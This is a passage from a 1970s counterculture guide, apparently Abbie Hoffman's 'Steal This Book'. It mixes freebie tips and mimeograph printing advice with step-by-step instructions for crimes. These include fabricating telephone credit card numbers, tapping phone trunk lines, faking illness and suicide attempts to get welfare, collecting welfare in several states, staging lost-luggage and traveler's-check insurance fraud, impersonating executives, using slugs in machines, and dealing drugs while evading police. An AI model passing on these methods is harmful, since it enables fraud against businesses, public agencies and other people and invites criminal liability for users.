and she can call you then if there is any question. Make sure the exchange goes with the
area you say it does.
Always have a number of made-up credit card numbers. The code letter for 1970 is S, then
seven digits of the phone number and a three digit district number (not the same as area
code). The district number should be under 599. Example: S-573-2100-421 or
S-537-3402-035. Look up the phone numbers for your area by simply requesting a credit
card for your home phone which is very easy to get and then using the last three numbers
with another phone number. Usually making up exotic numbers from far away places will
work quite well as it would be impossible for an operator to spot a phony number in the
short time she has to check her list.
We advise against making phony credit card calls on a home phone. We have seen a gadget
that you install between the wall socket and the cord which not only allows you to receive all
the calls you want for free, but eliminates the most common form of electronic bugging.
They are being manufactured and sold for fifty dollars by a disgruntled telephone engineer
in Massachusetts. Unfortunately you are going to have to find him on your own or duplicate
his efforts, for he has sworn us to secrecy. If someone does, however, offer you such a
device, it probably does work. Test it by installing it and having someone call you from a pay
phone. If it's working, the person should get their dime back at the end of the call.
Actually if you know the slightest information about wiring, you can have your present phone
disconnected on the excuse that you'll be leaving town for a few months and then connect
the wires into the main trunk lines on your own. Extensions can easily be attached to your
main line without the phone company knowing about it.
You can make all the free long distance calls you want by calling your party collect at a pay
phone. Just have your friend go to a prearranged phone booth at a prearranged time. This
can be done on the spot by having the friend call you person to person. Say you're not in,
but ask for the number calling you since you'll be "back" in five minutes. Once you get the
number simply hang up, wait a moment and call back your friend collect. The call has to be
out of the state to work, since operators are familiar with the special extension numbers
assigned to pay phones for her area and possibly for nearby areas as well. If she asks you if
it is a pay phone say no. If she finds out during the call (which rarely happens) and informs
you of this, simply say you didn't expect the party to have a pay phone in his house and
accept the charges. We have never heard of this happening though. The trick of calling
person-to-person collect should always be used when calling long distance on
home-to-home phones also. You can hear the voice of your friend saying that he'll be back in
a few minutes. Simply hang up, wait a moment and call station to station, thereby getting a
person-to-person call without the extra charges which can be considerable on a long call
during business hours.
If you plan to stay at your present address for only a few more months, stop paying the bill
and call like crazy. After a month you get the regular bill which you avoid paying. Another
month goes by and the next bill comes with last month's balance added to it. Shortly
thereafter you get a note advising you that your service will be terminated in ten days if you
don't pay the bill. Wait a few days and send them a five or ten dollar money order with a
note saying you've had an accident and are pressed for funds because of large medical
bills, but you'll send them the balance as soon as you are up and around again. That will
hold them for another month. In all, you can stretch it out for four or five months with a
variety of excuses and small payments. This also works with the gas and electric companies
and with any department stores you conned into letting you charge.
You can get the service deposit reduced to half of the normal rate if you are a student or
have other special qualifications. Surprisingly, these rates and discounts vary from area to
area, so check around before you go into the business office for your phone. There is an
incredible 50 cents charge per month for not having your phone listed. If you want an
unlisted phone, you can avoid this fee by having the phone listed in a fictitious name, even if
the bill is sent to you. Just say you want your roommate's name listed instead of your own.
FREE PLAY
MOVIES AND CONCERTS
There are many ways to sneak into theaters, concerts, stadiums and other entertainment
houses. All these places have numerous fire exits with push-bar doors that open easily from
the inside. Arrive early with a group of friends, after casing the joint and selecting the most
convenient exit. Pay for one person to get in. When he does he simply opens the designated
exit door when the ushers are out of the area and everyone rushes inside.
For theatrical chains in large cities, call their home office and ask to speak to the
vice-president in charge of publicity, sales, or personnel. Ask what his name is so you'll know
who you're talking to. When you get the information you want, hang up. Now you have the
name of a high official in the company. Compile a short list of officials in the various film,
theater and sporting event companies. Next all the various theaters and do the same thing
for the theater managers. Once you have the two lists you are ready to proceed. Call the
theater you want to attend. When someone answers say you're Mr. __________ from the
home office calling Mr. __________ (manager's name) and you'd like to have two passes
O.K'd for two important people from out of town. Invariably she'll just ask their names or
tell them to mention your name at the box office. Not only will you get in free, but you can
avoid waiting in line with this fake-out.
In Los Angeles and New York, the studios hold pre-release screenings for all movies. If you
know roughly when a movie is about to come out, call the publicity department of the
studio producing the film and say you're the critic for a newspaper or magazine (give the
name) and ask them when you can screen the film. They'll give you the time and place of
various screenings. When you go, ask them to put you on their list and you'll get notices of
all future screenings.
One of our favorite ways to sneak into a theater with continuously running shows is the
following. Arrive just as the show is emptying out and join the line leaving the theater.
Exclaiming, "Oh, my gosh!" you slap your forehead, turn around and return, tell the usher
you left your hat, pocketbook, etc. inside. Once you're inside the theater, just swipe some
popcorn and wait for the next show.
RECORDS AND BOOKS
If you have access to a few addresses, you can get all kinds of records and books from
clubs on introductory offers. Since the cards you mail back are not signed there is no legal
way you can be held for the bill. You get all sorts of threatening mail, which, by the way, also
comes free.
If you have a friend who is a member of a record club, ask him to submit your name as a
free member. He gets 4 free records for getting you signed up. A soon as you get the letter
saying how lucky you are to be a member, quit. Your friend's free records have already
been shipped. We used to have at least 10 different names and addresses working on all
the record and book companies. Every other day we would ride around collecting the big
packages. To cap it off, we opened a credit account at a large department store and used
to return most of the records and books to the store saying that they were gifts and we
wanted something else. Since we had an account at the store, they always took the
merchandise and gave credit for future purchases.
You can always use the public libraries. Find out when they do their yearly housecleaning.
Every library discards thousands of books on this day. Just show up and ask if you can take
some.
Almost anything you might want to know from plans for constructing a sundial to a
complete blueprint for building a house may be obtained free from the Government
Printing Office. Write: to Superintendent of Documents, Government Printing Office,
Washington D.C. 20402. Most publication are free. Those that are not are dirt cheap. Ask
to be put on the list to receive the free biweekly list of Selected U.S. Government
Publications.
One of the best ways to receive records and books free is to invest twenty dollars and print
up some stationery with an artistic logo for some non-existent publication. Write to all the
public relations departments of record companies, publishing houses, and movie studios.
Say you are a newspaper with a large youth readership and have regular reviews of books,
or records, or movies, and would like to be placed on their mailing list. Say that you would
be glad to send them any reviews of their records that appear in the paper. That adds a
note of authenticity to the letter. After a month or so you'll be receiving more records and
books than you can use.
If you really want a book badly enough, follow the title of this one-Dig!
FREE MONEY
No book on survival should fail to give you some good tips on how to rip-off bread. Really
horning in on this chapter will put you on Free-loader Street life, 'cause with all the money
in Amerika, the only thing you'll have trouble getting is poor.
WELFARE
It's easy to get on welfare that anyone who is broke and doesn't have a regular relief check
coming in is nothing but a goddamn lazy bum! Each state has a different set up. The racist
penny-pinchers of Mississippi dole out only $8.00 a month. New York dishes ont the most
with monthly payments up to $120.00. The Amerikan Public Welfare Association publishes
a book called The Public Welfare Directory with information on exactly what each welfare
agency provides and how you go about qualifying. You can read the directory at any public
library to find out all you can about how your local office operates.
When you've discovered everything you need to know, head on down to the Welfare
Department in your grubbiest clothes. Not sleeping the night before helps. The receptionist
will assign an "intaker" to interview you. After a long wait, you'll be directed to a desk. The
intaker raps to you for a while, generally showing sympathy for your plight and turns you
over to the caseworker who will make the final and ultimate assessment.
Have your heaviest story ready to ooze out. If you have no physical disabilities, lay down a
"mentally deranged" rap. Getting medical papers saying you have any long-term illness or
defect helps a lot. Tell the caseworker you get dizzy spells on the job and faint in the
street. Keep bobbing your head, yawning, or scratching. Tell him that you have tried to
commit suicide recently because you just can't make it in a world that has forgotten how to
love. Don't lay it on too obviously. Wait till he "pries" some of the details from you. This
makes the story even more convincing. Many welfare workers are young and hip. The image
you are working on is that of a warm, sensitive kid victimized by brutal parents and a cold
ruthless society. Tell them you held off coming for months because you wanted to maintain
some self-respect even though have been walking the streets broke and hungry. If you are a
woman tell him you were recently raped. In sexist Amerika, this will probably be true.
After about an hour or so of this soap-opera stuff, you'll be ready to get your first check.
From then on it's a monthly check, complete medical care for free and all sorts of other
outasight benefits. Occasionally the caseworker will drop by your pad or ask you down to
the office to see how you're coming along, but with your condition, things don't look so
good. Don't abandon hope though. Hope always helps fill in a caseworker's report.
The real trick is to parlay welfare payments in a few different states. Work out an exchange
system with a buddy and mail each other the checks when they come in. If the caseworker
comes by, your roommate can say you went to find a job or enrolled in a class. We know
cats who have parlayed welfare payments up to six hundred dollars a month.
UNEMPLOYMENT
Every outlaw should learn everything there is to know about the rules governing
unemployment insurance. As in the case of welfare rules, eligibility, and the size of
payments differ from state to state. In New York, you are eligible for payments equivalent
to half your weekly salary before taxes up to $65 per week, on the condition that you have
worked for a minimum of twenty weeks during the year. Payments are somewhat lower in
most other states. In order to collect, you must show you are actively searching for a job
and keep a record of employers you contact. This can easily be fudged. Every time you're
questioned about it, mention one or two companies. If your hair is long, you'll have no
problem. Just say they won't hire you until you get a haircut. When this is the case, the
unemployment office cannot cut off your payments or your hair. They also cannot make you
accept a job you do not want. Tell them any job offer you get is not challenging enough for
your talents. Unemployment can be collected for six months before payments are
terminated. Twenty more weeks of slavery and you can go back to maintaining your dignity
in the unemployment line. These job insurance payments cannot be taxed and since you are
working so few weeks out of each year, your taxable income is at a minimum. Read all the
fine print for tax form 1040 and discover all the deductible loopholes available to you. You
should wind up paying no taxes at all or having all the taxes that were deducted from your
pay reimbursed. Never turn over to the pig government any funds you can rip off.
Remember, it isn't your government, so why submit to its taxation if you feel you do not
have representation.
PANHANDLING
The practice of going up to folks and bumming money is a basic hustling art. If you are
successful at panhandling, you'll be able to master all the skills in the book and then some.
To be good at it requires a complete knowledge of what motivates people. Even if we don't
need the bread, we panhandle on the streets in the same way doctors go back to medical
school. It helps us stay in shape. Panhandling is illegal throughout Pig Empire, but it's one
of those laws that is rarely enforced unless they want to "clean the area" of hippies. If you're
in a strange locale, ask a fellow panhandler what the best places to work are without risking
a bust. Do it in front of supermarkets, theaters, sporting events, hip dress shops and
restaurants. College cafeterias are very good hunting grounds.
When you're hustling, be assertive. Don't lean against the wall with your palm out mumbling
"Spare some change?" Go up to people and stand directly in front of them so they have to
look you in the eye and say no. Bum from guys with dates. Bum from motherly looking
types. After a while you'll get a sense of the type of people you get results with.
Theater can be real handy. The best actors get the most bread. Devising a street theater
skit can help. A good prop is a charity canister. You can get them by going to the offices of
a mainstream charity and signing up as a collector. Don't feel bad about ripping them off.
Charities are the biggest swindle around. 80% or more of the funds raised by honky
charities go to the organization itself. New fancy cars for the Red Cross, inflated salaries
for the executives of the Cancer Fund, tax write-offs for Jerry Lewis. You get the picture. A
good way to work this and keep your karma in shape is to turn over half to a revolutionary
groups such as your local underground. Remember, fugitives from injustice depend on you
to survive. Be a responsible member of our nation. Support the only war we have going!
RIP-OFFS
If you are closing out your checking account, overdraw your account by $10.00. The bank
won't bother chasing you down for a lousy 10 bucks.
Call the telephone operator from time to time and tell her you lost some change in a pay
phone. They will mail you the cash.
You can get $150 to $600 in advance by willing your body to a University medical school.
They have you sign a lot of papers and put a tattoo on your foot. You can get the tattoo
removed and sell your body to the folks across the street. The universities can be ripped off
by enrolling, applying for a loan and bugging out after the loan comes through. This is a lot
easier than you might imagine and you can hit them for up to $2,500 with a good enough
story.
Put a number 14 brass washer in a newspaper vending machine and take out all the
papers. Stand around the corner or go into the local bar and sell them. You often get
tipped. Don't do this with underground papers. Remember they're your brothers and
sisters.
The airlines will give you $250 for each piece of luggage you lose when flying. The following is
a good way to lose your luggage. When you get off a plane, have a friend meet you at the
gate. Give him your luggage claim stubs and arrange to meet at a washroom or restaurant.
Your friend picks up the bags and takes them out of the baggage room. Before he leaves
the airport, he turns over the stubs to you at your prearranged rendezvous. You casually
wander over to the baggage department and search for your elusive luggage. When all the
baggage has been claimed, file a complaint with the lost and found department. They'll
have you fill out a form, explain that it probably got misplaced on another carrier and
promise to send it to you as soon as it is located. In a month you'll receive a check for $250
per bag. Enjoy your flight.
THE INTERNATIONAL YIPPIE CURRENCY EXCHANGE
Every time you drop a coin into a slot, you are losing money needlessly. There is at least
one foreign coin that is the same size or close enough that will do the trick for less than a
penny. The following are some of the foreign currencies that will get you that Coke, call or
subway ride.
Quarter Size Coins
URUGUAYAN 10 CENTISIMO PIECE
works in many soda and candy machines, older telephones (3 slot types), toll
machines, laundromats, parking meters, stamp machines, and restroom novelty
machines. Works also in some electric cancerette machines but not most
mechanical machines.
DANISH 5 ORE PIECE
works in 3 slot telephones, toll machines, laundromats, automats, some stamp
machines, most novelty machines, and the Boston Subway. Does not work in soda
or cancerette machines.
PERUVIAN 20 CENTAVO PIECES
works in new (one slot) telephone and some electric cancerette machines, but
does not work as many places in the Uruguay, Danish and Peruvian coins.
ICELANDIC 5 AURAN PIECE
most effective quarter in the world, even works in change machines.
Unfortunately, this coin is practically impossible to get outside of Iceland and
even there, it is becoming difficult since the government is attempting to remove
it from circulation.
Dime Size Coins
MALAYSIAN PENNY
generally works in all dime slots, including old and new telephones, candy
machines, soda machines, electric machines, stamp machines, parking meters,
photocopy machines, and pay toilets. Does not work in some newer stamp
dispensers, and some mechanical cancerette machines.
TRINIDAD PENNY
generally works the same as Malaysian Penny.
New York Subway Tokens
DANISH 25 ORE PIECE
works in 95% of all subway turnstiles. A very safe coin to use since it will not jam
the turnstile. It is 5/l000th of an inch bigger than a token.
PORTUGUESE 50 CENTAVO PIECE
the average Portuguese Centavo Piece is 2/1000th of an inch smaller than a
token.
JAMAICAN HALF PENNY, BAHAMA PENNY and AUSTRALIAN SCHILLING
these coins are 12/l000th to 15/1000th of an inch smaller than token. They work
in about 80% of all turnstiles. We have also had good success with FRENCH l
FRANC PIECE (WWII issue), SPANISH l0 CENTAVO PIECE NICARAGUAN 25
CENTAVO PIECE.
All of the coins listed have a currency value of a few cents, with most less than one penny.
Foreign coins work more regularly than slugs and are non-magnetic, hence cannot be
detected by "slug detector machines." Also unlike slugs, although they are illegal to use in
machines, they are perfectly legal to possess and exchange.
Large coin dealers and currency exchanges are generally uptight about handling cheap
foreign coins in quantity since they don't make much profit and are subject to certain
pressures in selling coins that are the same size as Amerikan coins or tokens.
People planning trips to European or South American countries should bring back rolls of
coins as souvenirs or for use in "coin jewelry."
If you do not plan to travel, a small coin store which is cool about selling to the public is
located on the Lower East Side at 191 East Third Street, New York City. When their phone
works, the number is 475-9897.
Washers are the most popular types of slugs. You can go to any hardware store and match
them up with various coins. Sometimes you might have to put a small piece of scotch tape
over one side of the hole to make it more effective. Each washer is identified by its material
and number, i.e. No. 14 brass washer with scotch tape on one side is a perfect dime. When
you get the ones you want, you can buy thousands for next to nothing (especially at
industrial supply stores) and pass them out to our friends.
Xerox copies of both sides of a dollar bill, carefully glued together, work in most machines
that give you change for a dollar. Excuse us, there is a knock at the door. . .Fancy that! It's
the Treasury Department. Wonder what they want?
FREE DOPE
BUYING, SELLING AND GIVING IT AWAY
As you probably know, most dope is illegal, therefore some risks are always involved in
buying and selling. "Eternal vigilance and constant mobility are the passwords of survival,"
said Che Guevara, and nowhere do they apply more than in the world of dope. If you ever
have the slightest doubt about the person with whom you're dealing-DON'T.
Buying
In the purchasing of dope, arrests are not a problem unless you're the fall guy for a bust on
the dealer. The major hazard is getting burned. Buy from a friend or a reputable dealer. If
you have to do business with a stranger, be extra careful. Never front money. One of the
burn artist's tricks is to take your money, tell you to wait and split with your dough. There
are various side show gimmicks each burn artist works. The most common is to ask you to
walk with them a few blocks and then stop in front of an apartment building. He then tells
you the dope is upstairs and asks you to hand over the money in advance. He explains that
his partner is the real uptight 'cause they were raided once and won't let anybody in the
pad. He takes your dough and disappears inside the building. Out the back door or up to
the roof and into his getaway helicopter. You are left on the sidewalk with anxious eyes and
that "can this really be happening to me" feeling.
Another burn method is to substitute oregano, parsley or catnip for pot, camel shit for
hash, saccharin or plain pills for acid. If you got burned for heroin or speed, you're better
off being taken, because these are body-fuck drugs that can mess you up badly. The people
that deal them are total pigs and should be regarded as such. When you're buying from
strangers, you have a right to sample the merchandise free unless it's coke. Check the
weight of grass with a small pocket scale. Feel the texture and check out how well it has
been cleaned of seeds and twigs. Smoke a joint that is rolled from the stuff you get. Don't
accept the dealer's sample that he pulled out of his pocket. When you are buying a large
amount of acid, pick a sample. You should never buy acid from a stranger as it is too easy a
burn.
If you buy cocaine, bring along a black light. Only the imparities glow under its fluorescence,
thus giving you an idea of the quality of the coke. Make sure it's the real thing. Sniffing coke
can perforate your nasal passages, so be super moderate. Too much will kill you. A little bit
goes a long way.
Selling
Dealing, although dangerous, is a tax-free way of surviving even though it borders on work.
The best way to start is to save up a little bread and buy a larger quantity than you usually
get. Then deal out smaller amounts to your friends. The fewer strangers you deal with, the
safer you are. The price of dope varies with the amount of stuff on the market in your area,
the heat the narks are bringing down and the connections you have. A rough scale, say, for
pot is $20 an ounce, $125 a pound and $230 a kilo (2.2 pounds). The price per ounce
decreases depending on the amount you get. It's true you make more profit selling by the
ounces, but the hassle is greater and the more contacts you must make increases the risk.
Screwing your customers will prove to be bad karma (unless you consider dying groovy), so
stick to honest dealing. Never deal from your pad and avoid keeping your stash there. Get
into searching out the best markets which are generally in California, given its close
proximity to good ol' Mexico. Kansas is a big distribution center for Mexican grass, too. You
can ship the stuff (safer than carrying) via air freight anywhere in the country for about $30
a trunk. Keep the sending and receiving end looking straight. We have one friend who wears
a priest's outfit to ship and receive dope. In fact, every time we see nuns or priests on the
street, we assume they're outlaws just on their way to the next deal or bombing. For all we
know, the church actually is nothing but a huge dope ring in drag. Anybody gotten high off
communion wafers lately?
When you talk about deals on the phone, be cool. Make references to theater tickets or
subscriptions. Don't keep extensive notes on your activities and contacts. Use code names
where you can. Never deal with two other people present. Only you and the buyer should be
in the immediate vicinity. Narks make busts in pairs so one can be the arresting officer and
the other can be a court witness. Dealing is a paradox of unloading a good amount of shit
but not trying to move too fast; of making ne contacts but being careful of strangers; of
dealing high quality and low prices; and of being simultaneously bold and cautious. If you
get nabbed, get the best lawyer who specializes in dope busts. First offenders rarely end
up serving time, but it's a different story for repeaters. Know how punitive the courts are
and which judges and prosecutors can be bought off. Never deal in the month before an
election. For complete information on how to avoid getting busted and what to do if busted,
read The Drug Bust (listed in appendix).
Giving It Away
Giving dope away can be a real mind-blower. Every dealer should submit to voluntary
taxation by the new Nation. If you are a conscientious dealer, you should be willing and
eager to give a good hunk of your stash away at special events or to groups into free
distribution. You should also be able to give bread to bust trusts set up to bail out heads
unable to get up the ransom money the whisky lush courts demand. Many groups have
done huge mailings of joints to all sorts of people. A group in New York mailed 30,000 to
people in the phone book on one Valentine's Day. A group in Los Angeles placed over 2,000
joints in library books and then advised kids to smoke a book during National Library Week.
Be cool about even giving stuff away since that counts as dealing in most states. John
Sinclair, Chairman of the White Panther Party, is serving 9½ to 10 years for giving away two
joints.
GROW YOUR OWN
Pot is a weed and as such grows in all climates under every kind of soil condition. We have
seen acres and acres of grass growing in Kansas, Iowa and New Jersey. If you're not located
next door to a large pot field growing in the wild, maybe you would have some success in
growing your own. It's well worth it to try your potluck!
The first thing is to start with a bunch of good-quality seeds from grass that you really dig.
Select the largest seeds and place them between two heavy-duty napkins or ink blotters in
a pan. Soak the napkins with water until completely saturated. Cover the top of the pan or
place it in a dark closet for three days or until a sprout about a half inch long appears from
most of the seeds.
During this incubation period, you can prepare the seedling bed. Use a low wooden box
such as a tomato flat and fill it with an inch of gravel. Fill the rest of the box with some soil
mixed with a small amount of fertilizer. Moisten the soil until water seeps out the bottom
of the box, then level the soil making a flat surface. With a pencil, punch holes two inches
apart in straight rows. You can get about 2 dozen in a tomato flat.
When the incubation period is over, take those seeds that have an adequate sprout and
plant one in each hole. The sprout goes down and the seed part should be a little above
ground. Tamp the soil firmly (do not pack) around each plant as you insert the sprouts.
The seedlings should remain in their boxes in a sunny window until about mid-May. They
should receive enough water during this period to keep the soil moist. By the time they are
ready to go into the ground, the green plants should be about six to eight inches tall.
If it is late winter or early spring and you have a plot of land that gets enough sun and is
sheltered from nosy neighbors, you should definitely grow grass in the great outdoors.
One idea is to plant sunflowers in your garden as these grow taller than the pot plants and
camouflage them from view. The best idea is to find some little-used field and plant a
section of it.
Prepare the land the way you would for any garden vegetable. Dig up the ground with a
pitchfork or heavy duty rake, removing rocks. Rake the plot level and punch holes in the soil
about three inches deep and about two feet apart in the same way you did in the seedling
boxes. Remove the young plants from the box, being careful not to disturb the roots and
keeping as much soil intact as possible. Transplant each plant into one of the punched-out
holes and firmly press the soil to hold it in place. When all the plants are in the ground,
water the entire area. Tend them the way you would any other garden. They should reach a
height of about six feet by the end of the summer and be ready to harvest.
If you don't have access to a field, you can grow good stuff right in your own closet or
garage using artificial lighting. Transplant the plants into larger wooden boxes or flower
boxes. Be sure and cover the bottom of each box with a few inches of pebbles or broken
pottery before you add the soil. This will insure proper drainage. Fertilize the soil according
to the instructions on the box and punch out holes in much the same way you would do if
you were growing outside. After the young plants have been transplanted and watered
thoroughly, you will have to rig up a lighting system. Use blue light bulbs, which are available
at hardware stores for the first thirty days. These insure a shorter, sturdier stalk. Leave the
lights on 24 hours a day and place them about a foot above the tops of the plants. If the
plants begin to feel brittle or turn yellow at the edges, then the temperature is too hot.
Use less illumination or raise the height of the lamp if this occurs.
After the first thirty days, change to red bulbs and cut down the lighting time to 16 hours a
day. After a week, reduce the time to 14 hours and then on the third week to 12 hours.
Maintain this lighting period until the plants flower. The female plants have a larger and
heavier flower structure and the males are somewhat skimpy. The female plant produces
the stronger grass and the choicest parts are the top leaves including the flowers.
Inside or outside, the plants will be best if allowed to reach maturity, although they are
smokeable at any point along the way. When you want to harvest the crop, wet the soil and
pull out the entire plant. If you want to separate the top leaves from the rest, you can do so
and make two qualities of grass. In any event, let the plants dry in the sun for two weeks
until they are thoroughly dried out. If you want to hurry the drying process, you can do it in
an oven using a very low heat for about twenty minutes. After you've completed the drying,
you can "cure'" the grass by putting the plants in plastic bags and sprinkling drops of wine,
rum or plain booze on them. This greatly increases the potency.
There are two other ways that we know work to increase the potency of grass you grow or
buy. One consists of digging a hole and burying a stash of grass wrapped in a plastic bag. A
few months in the ground will produce a mouldy grass that is far fuckin' out. A quick
method is to get a hunk of dry ice, put it in a metal container or box with a tight lid (taping
the lid airtight helps), and sprinkling the grass on top. Allow it to sit tightly covered for
about three days until all the dry ice evaporates.
ASSORTED FREEBIES
LAUNDRY
Wait in a laundromat. Tell someone with a light load that you'll watch the machine for them
if you can stick your clothes in with theirs.
PETS
Your local ASPCA will give you a free dog, cat, bird or other pet. Have them inspect and
inoculate the animal which they will do free of charge. You can get free or very cheap
medical care for your pet at a school for veterinary medicine.
Underground newspapers often carry a free-pets column in the back pages. Snakes can be
caught in any wooded area and they make great pets. You can collect insects pretty easy.
Ants are unbelievable to watch. You can make a simple 3/4 inch wide glass case about a
foot high, fill it with sand and start an ant colony. A library book will tell you how to care for
them.
Every year the National Park Service gives away surplus elks in order to keep the herds
under its jurisdiction from outgrowing the amount of available land for grazing. Write to:
Superintendent, Yellowstone National Park, Yellowstone, Wyoming 83020. You must be
prepared to pay the freight charges for shipping the animal and guarantee that you can
provide enough grazing land to keep the big fellow happy.
Under the same arrangement the government will send you a Free Buffalo. Write to: Office
of Information, Department of the Interior, Washington, D.C. 20420. So many people have
written them recently demanding their Free Buffalo, that they called a press conference to
publicly attack the Yippies for creating chaos in the government. Don't take any buffalo shit
from these petty bureaucrats, demand the real thing. Demand your Free Buffalo.
You can get a free l6mm movie about parakeets called "More Fun with Parakeets," by
writing to: R.T. French Co., 9068 Mustard St., Rochester, New York 14609. This great film
won an Academy Award for best picture of 1793.
POSTERS
Beautiful wall posters are available by writing to the National Tourist Agencies of various
countries. Most are located between 42nd and 59th Streets on Fifth Ave. in New York City.
You can find their addresses in the New York Yellow Pages under both National Tourist
Agencies and Travel Agencies. There are over fifty of them. Prepare a form letter saying you
are a high school geography teacher and would like some posters of the country to
decorate your classroom. In a month you will be flooded with them. Airline companies also
have colorful wall posters they send out free.
SECURITY
For this trick you need some money to begin with. Deposit it in a bank and return in a few
weeks telling them you lost your bank book. They give you a card to fill out and sign and in a
week you will receive another book. Now withdraw your money, leaving you with original
money and a bank book showing a balance. You can use this as identification to prevent
vagrancy busts when traveling, as collateral for bail, or for opening a charge account at a
store.
Another trick is to buy some American Travelers Checks. Wait a week and report your
checks lost. They'll give you new ones to replace the missing ones. You spend your new
checks and keep the ones you reported lost as security. This security is great for
international travel especially at border crossings. If you want, you can spend the Travelers
Checks by giving them to a friend to forge your name. Before you call the office to report
the loss, call the police station and say you were mugged and your wallet was stolen. The
agency always asks if you have reported the lost checks to the police, so you can safely
answer yes. Never do this for more than five hundred dollars and never more than once with
any one company.
POSTAGE
When mailing to the same city, address the envelope or package to yourself and put the
name of the person you are sending it to where the return address generally goes. Mail it
without postage and it will be "returned" to the sender. Because almost all letters are
machine processed, any stamp that is the correct size will pass. Easter Seals and a variety
of other type stamps usually get by the electronic scanner. If you put the stamp on a spot
other than the far upper right corner, it will not be cancelled and can be used again by the
person who gets your letter. If you have a friend working in a large corporation, you can run
your organization's mail through their postage meter.
Those ridiculous free introductory or subscription type letters that you get in the mail
often have a postage-guaranteed return postcard for your convenience. The next one you
get, paste it on a brick and drop it in the mailbox. The company is required by law to pay
the postage. You can also get rid of all your garbage this way.
MAPS
You can get a free full-color World Atlas by writing to Hammond Inc. Maplewood, New
Jersey 07040.
MINISTRY
Unquestionably one of the best deals going is becoming a minister in the Universal Life
Church. They will send you absolutely free, bona fide ordination papers. These entitle you to
all sorts of discounts and tax exemptions. Right now, sit down and write to Universal Life
Church Inc., 601 3rd St., Modesto, California 95351. Try cutting out the card on the
following page and laminate it. Let us know how it works out.
ATROCITIES
Join the Army!
VETERAN'S BENEFITS
Write to the Veteran's Administration Information Service, Washington, D.C. 20420 asking
them for the free services they provide for veterans. Send fifteen cents to the Government
Printing Office for their booklet Federal Benefits Available to Veterans and Their
Dependents.
WATCH
A $330 Bulova sport timer accurate to 1/10 of a second will be lent free to judges and
referees to time any amateur sporting event. Call your local authorized Bulova dealer and
get one lent to you under a phony name. Tell them you want to time an orgy.
VACATIONS
There are many ways to take a free vacation, but here's one you might not have considered.
It's an all-expenses paid trip to Las Vegas for absolutely nothing. Call a travel agent and
request information about Las Vegas gambling junkets (you'll probably have to hunt around
because this practice is being curtailed). Different hotels have different deals, but the
average one runs something like this: If you agree to buy $500 worth of chips that can only
be spent on gambling tables of the host hotel, they will fly you round trip, pay all hotel and
food bills and provide you with a rented car. Go with a close friend and check into the hotel.
Once at the roulette or craps table, you and your friend bet the same amount of chips
against each other on even-paying chances. For example, he would bet on red and you on
black. When either of you wins, you keep the house chips; when you lose, turn in the
specially marked chips that cannot be cashed in. What you are doing is simply exchanging
the chips you came with for house chips that you can cash in for real dough. Theoretically
your two vacations should cost $23.00 if you do the betting at the crap table and $52.00 if
you bet even chances at roulette. That is because the house wins if 0 or 00 comes up in
roulette and if 12 comes up on the first roll of the dice, but it sure is a hell of a vacation for
two for $23.00, and you get free champagne on some flights.
You can get half a vacation free by going to the Amerikan Embassy or Consulate in the
country you find yourself in and claim that you're destitute. There is a law on the books that
says they have to send you away, but be persistent. Make up a story about how your
parents are away from home traveling. Say you got mugged or something and you are
about to go to the newspapers with your story. Eventually they'll get you a free plane ticket.
They stamp your passport invalid though, and you have to pay the government back before
you can use it again.
DRINKS
When hitching, it's a good idea to carry a bottle opener and a straw. You take the caps off
soda bottles while they're still in the machine and drink them dry without ever touching the
bottle.
BURIALS
For ways to avoid the high cost of dying in Amerika, write to: Continental Association, 39
East Van Buren St., Chicago, Ill. 60605. Send them $1.00 for the Manual of Simple Burial
and 25¢ for a list of Memorial Associates.
ASTRODOME PICTURES
Don't you just have to have a huge, glossy color photo of Houston's famed Astrodome to
show all your friends? Use the teacher bit and write to: Greater Houston Convention and
Visitors Council, 1600 Main St., Houston, Texas 77002.
DIPLOMA
Above the paper towel dispenser in a service station restroom was written: "San Francisco
State Diplomas." If you really need a college or a high school diploma, send $2.00 to
Glenco, Box 834, Warren, Michigan 48090. They send you one that looks real authentic. It
ain't Harvard, but it looks good enough to frame and put on your wall.
TOILETS
Sneak Under!
FIGHT!
Tell It All, Brothers and Sisters
STARTING A PRINTING WORKSHOP
Leaflets, posters, newsletters, pamphlets and other printed matter are important to any
revolution. A printing workshop is a definite need in all communities, regardless of size. It
can vary from a garage with a mimeograph machine to a mammoth operation complete
with printing presses and fancy photo equipment. With less than a hundred dollars and
some space, you can begin this vital service. It'll take a while before you get into printing
greenbacks, phony identification papers and credit cards like the big boys, but to walk a
mile you must start with one step as Gutenberg once said.
Paper
The standard size for paper is 8½" x 11". It comes 500 sheets to a "ream" and 10 reams to
a case. You want a 16-20 bond weight sheet. The higher weights are better if you are
printing on both sides. You can purchase what are termed "odd lots" from most paper
companies. This means that the colors will be assorted and some sheets will be frayed at
the edges or wrinkled. Odd lots can be purchased at great discounts. Some places sell
paper this way for 10% of the original price and for leaflets, different colors help. Check
this out with paper suppliers in your area.
Ink
Inks come in pastes and liquids and are available in stationary stores and office supply
houses. Each machine requires its own type ink, so learn what works best with the one you
have. Colored ink is slightly more expensive but available for most machines.
Stencils
Each machine uses a particular size and style stencil. If you get stuck with the wrong kind
and can't get out to correct the mistake, you can punch extra holes in the top, trim them
with a scissors if they are too big or add strips of tape to the sides if too narrow.
Be sure and use only the area that will fit on the paper you are using. Most stencils can be
used for paper larger than standard size. Stencils will "cut" a lot neater if an electric
typewriter is used. If you only have access to e manual machine, remove the ribbon so the
keys will strike the stencil directly. A plastic sheet, provided by the supplier, can be
inserted between the stencil and its backing to provide sharper cuts by the keys. If you
hold the stencil up to a light, you should be able to clearly see the typing. If you can't, you'll
have to apply more pressure.
Sketches can be done with a ball point pen or special stylus directly on the stencil. If you're
really rushed, or there isn't that much info to get on the leaflet, you can hand-print the text
using these instruments. Take care not to tear the stencil.
Mimeograph Machines
The price of a new mimeograph runs from $200 to $1200, depending on how sophisticated
a machine you need and can afford. A.B. Dick and Gestetner are the most popular brands.
Many supply houses have used machines for sale. Check the classified section for bargains.
See if any large corporations are moving, going out of business or have just had a fire.
Chances are they'll be unloading printing equipment at cheap prices. Campaign offices of
losing candidates often have mimeos to unload in November. Many supply houses have
renting and leasing terms that you might be interested in considering. Have an idea of the
work load and type of printing you'll be handling before you go hunting. Talk to someone who
knows what they're doing before you lay down a lot of cash on a machine.
Duplicators
We prefer duplicators to mimeos even though the price is a little higher. They work faster,
are easier to operate and print clearer leaflets. The Gestener Silk Screen Duplicator is the
best bet. It turns out stuff almost as good as offset printing. You can do 10 thousand
sheets an hour in an assortment of colors.
Electronic Stencils
If you use electronic stencils you can do solid lettering, line drawings, cartoons and black
